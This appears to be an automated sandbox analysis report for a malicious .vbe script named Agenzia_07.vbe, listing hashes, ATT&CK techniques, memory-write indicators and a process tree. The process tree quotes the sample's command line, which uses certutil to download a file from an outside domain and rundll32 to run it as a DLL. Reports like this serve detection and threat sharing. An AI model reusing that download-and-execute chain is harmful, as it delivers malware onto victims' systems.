bf02aa4fa7c3ddab5d533cf7e07829185c4100ae3e8207b0ced45666ea45802e

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-en-20211208
submitted
10/02/2022, 10:22

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General

Target
Agenzia_07.vbe
Size 247B
Sample220210-md8ngaggc6
SHA256 bf02aa4fa7c3ddab5d533cf7e07829185c4100ae3e8207b0ced45666ea45802e
MD5 87495897169e5901fceb832c768b75eb
SHA1 5125d2c1045bba3842ecb6e96c65095a9126f183
SHA512 f6f1f3b086ea2adc9c7d91f88f74a2868da10d88371cc3dd888ce68bb5b831388b57398d4f9b94ccc1b888e0911bd2682bf9aca9cbde171da340e76d306c5575
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 268	1724	WScript.exe	27
PID 1724 wrote to memory of 268	1724	WScript.exe	27
PID 1724 wrote to memory of 268	1724	WScript.exe	27
PID 268 wrote to memory of 1216	268	cmd.exe	29
PID 268 wrote to memory of 1216	268	cmd.exe	29
PID 268 wrote to memory of 1216	268	cmd.exe	29
PID 268 wrote to memory of 1504	268	cmd.exe	32
PID 268 wrote to memory of 1504	268	cmd.exe	32
PID 268 wrote to memory of 1504	268	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agenzia_07.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinks.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 8 & rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://interlinks.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt
    3⤵
    PID:1216
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer
    3⤵
    PID:1504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1216-55-0x00000000FFFE1000-0x00000000FFFE3000-memory.dmp

Download

memory/1724-54-0x000007FEFC451000-0x000007FEFC453000-memory.dmp